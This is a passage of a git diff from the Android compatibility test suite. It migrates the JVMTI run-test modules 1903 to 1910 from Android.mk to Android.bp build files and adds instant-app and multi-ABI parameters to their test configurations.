+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1903DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1903/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1903/app/Android.mk
deleted file mode 100644
index 769b0d3..0000000
--- a/hostsidetests/jvmti/run-tests/test-1903/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1903DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1904/Android.bp b/hostsidetests/jvmti/run-tests/test-1904/Android.bp
new file mode 100644
index 0000000..0eb9b1d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1904/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1904HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1904DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1904/Android.mk b/hostsidetests/jvmti/run-tests/test-1904/Android.mk
deleted file mode 100644
index 7be2c74..0000000
--- a/hostsidetests/jvmti/run-tests/test-1904/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1904HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1904/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1904/AndroidTest.xml
index 86633dd..de81390 100644
--- a/hostsidetests/jvmti/run-tests/test-1904/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1904/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp
new file mode 100644
index 0000000..e0ded3c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1904DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1904/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1904/app/Android.mk
deleted file mode 100644
index cca1889..0000000
--- a/hostsidetests/jvmti/run-tests/test-1904/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1904DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1906/Android.bp b/hostsidetests/jvmti/run-tests/test-1906/Android.bp
new file mode 100644
index 0000000..9aadc1a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1906/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1906HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1906DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1906/Android.mk b/hostsidetests/jvmti/run-tests/test-1906/Android.mk
deleted file mode 100644
index baef96b..0000000
--- a/hostsidetests/jvmti/run-tests/test-1906/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1906HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1906/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1906/AndroidTest.xml
index fe51dfd..93d6f5a 100644
--- a/hostsidetests/jvmti/run-tests/test-1906/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1906/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp
new file mode 100644
index 0000000..b7c2379
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1906DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1906/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1906/app/Android.mk
deleted file mode 100644
index 38c19d7..0000000
--- a/hostsidetests/jvmti/run-tests/test-1906/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1906DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1907/Android.bp b/hostsidetests/jvmti/run-tests/test-1907/Android.bp
new file mode 100644
index 0000000..0f88968
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1907/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1907HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1907DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1907/Android.mk b/hostsidetests/jvmti/run-tests/test-1907/Android.mk
deleted file mode 100644
index 208aaaf..0000000
--- a/hostsidetests/jvmti/run-tests/test-1907/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1907HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1907/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1907/AndroidTest.xml
index e3cfbb5..a3ecbe8 100644
--- a/hostsidetests/jvmti/run-tests/test-1907/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1907/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp
new file mode 100644
index 0000000..e608f12
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1907DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1907/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1907/app/Android.mk
deleted file mode 100644
index 21f1d14..0000000
--- a/hostsidetests/jvmti/run-tests/test-1907/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1907DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1908/Android.bp b/hostsidetests/jvmti/run-tests/test-1908/Android.bp
new file mode 100644
index 0000000..308ebc6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1908/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1908HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1908DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1908/Android.mk b/hostsidetests/jvmti/run-tests/test-1908/Android.mk
deleted file mode 100644
index 7a6301b..0000000
--- a/hostsidetests/jvmti/run-tests/test-1908/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1908HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1908/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1908/AndroidTest.xml
index 7a1f578..c3645b7 100644
--- a/hostsidetests/jvmti/run-tests/test-1908/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1908/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp
new file mode 100644
index 0000000..1dc8780
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1908DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1908/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1908/app/Android.mk
deleted file mode 100644
index b33f371..0000000
--- a/hostsidetests/jvmti/run-tests/test-1908/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1908DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1909/Android.bp b/hostsidetests/jvmti/run-tests/test-1909/Android.bp
new file mode 100644
index 0000000..c8f7822
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1909/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1909HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1909DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1909/Android.mk b/hostsidetests/jvmti/run-tests/test-1909/Android.mk
deleted file mode 100644
index 072b2aa..0000000
--- a/hostsidetests/jvmti/run-tests/test-1909/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1909HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1909/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1909/AndroidTest.xml
index 34d9df1..b7f4690 100644
--- a/hostsidetests/jvmti/run-tests/test-1909/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1909/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp
new file mode 100644
index 0000000..5ebbefc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1909DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1909/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1909/app/Android.mk
deleted file mode 100644
index 1623513..0000000
--- a/hostsidetests/jvmti/run-tests/test-1909/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1909DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1910/Android.bp b/hostsidetests/jvmti/run-tests/test-1910/Android.bp
new file mode 100644
index 0000000..1918925
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1910/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1910HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1910DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1910/Android.mk b/hostsidetests/jvmti/run-tests/test-1910/Android.mk
deleted file mode 100644
index c09991f..0000000
--- a/hostsidetests/jvmti/run-tests/test-1910/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
